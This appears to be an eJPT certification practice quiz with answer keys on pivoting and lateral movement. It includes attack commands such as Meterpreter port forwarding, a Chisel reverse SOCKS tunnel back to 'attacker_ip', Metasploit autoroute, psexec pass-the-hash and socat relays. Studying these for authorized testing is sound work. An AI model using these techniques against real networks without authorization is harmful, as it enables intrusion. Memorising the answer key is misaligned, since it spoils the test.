eJPT Pivoting and Lateral Movement 3 — Questions and Answers
Question 1: Which Meterpreter command is used to perform local port forwarding — for example, forwarding local port 3389 to an internal RDP service at 192.168.1.50:3389?
- portfwd add -l 3389 -r 192.168.1.50 -p 3389 (Correct answer)
- route add 192.168.1.50 255.255.255.255 1
- pivot add -l 3389 -r 192.168.1.50 -p 3389
- use auxiliary/server/portfwd
Correct answer: portfwd add -l 3389 -r 192.168.1.50 -p 3389
The Meterpreter `portfwd add` command creates a local port forward from the attacker's port to an internal host and port through the compromised session.
Question 2: When using SSH remote port forwarding with '-R 8080:localhost:80', which machine listens on port 8080?
- The remote SSH server (Correct answer)
- The local attacker machine
- A third pivot host
- The target web server
Correct answer: The remote SSH server
With SSH -R (remote forwarding), the remote server opens the specified port and forwards incoming connections back to the local machine's specified address and port.
Question 3: A pentester uses Chisel for pivoting. After running 'chisel server -p 8000 --reverse' on the attacker machine, what command is run on the compromised host to create a reverse SOCKS proxy?
- chisel client attacker_ip:8000 R:socks (Correct answer)
- chisel client attacker_ip:8000 socks
- chisel server --socks5 --port 8000
- chisel proxy -r attacker_ip:8000
Correct answer: chisel client attacker_ip:8000 R:socks
In Chisel's reverse tunnel mode, the client on the compromised host connects back to the server and the R:socks argument creates a reverse SOCKS5 proxy.
Question 4: What is the purpose of the Metasploit post module 'post/multi/manage/autoroute'?
- Automatically add routes for subnets reachable by a compromised session (Correct answer)
- Automatically exploit all hosts in a subnet
- Set up a SOCKS proxy for lateral movement
- Enumerate network interfaces on the compromised host
Correct answer: Automatically add routes for subnets reachable by a compromised session
The autoroute post module automatically identifies and adds Metasploit routes for all subnets accessible through a given session.
Question 5: A pentester needs to forward traffic to an internal Windows host's SMB port (445) through a pivot. After configuring the route in Metasploit, which module could they use to perform pass-the-hash against the internal target?
- exploit/windows/smb/psexec (Correct answer)
- auxiliary/scanner/smb/smb_ms17_010
- post/windows/gather/hashdump
- auxiliary/server/socks_proxy
Correct answer: exploit/windows/smb/psexec
The psexec module supports pass-the-hash authentication and can be routed through an existing pivot to attack internal SMB targets.
Question 6: Which command lists active port forwards in a Meterpreter session?
- portfwd list (Correct answer)
- route print
- netstat -an
- portfwd show
Correct answer: portfwd list
The `portfwd list` command in Meterpreter displays all currently configured local port forwarding rules for that session.
Question 7: After compromising a Linux pivot host, a pentester uses socat to forward connections. Which socat command forwards TCP port 4444 on the pivot to 192.168.1.100:4444?
- socat TCP-LISTEN:4444,fork TCP:192.168.1.100:4444 (Correct answer)
- socat LISTEN:4444 CONNECT:192.168.1.100:4444
- socat -L 4444 -R 192.168.1.100:4444
- socat PROXY:4444 192.168.1.100:4444
Correct answer: socat TCP-LISTEN:4444,fork TCP:192.168.1.100:4444
Socat's TCP-LISTEN with fork creates a listening socket that relays each accepted connection to the specified remote address and port.
eJPT Pivoting and Lateral Movement 3
Which Meterpreter command is used to perform local port forwarding — for example, forwarding local port 3389 to an internal RDP service at 192.168.1.50:3389?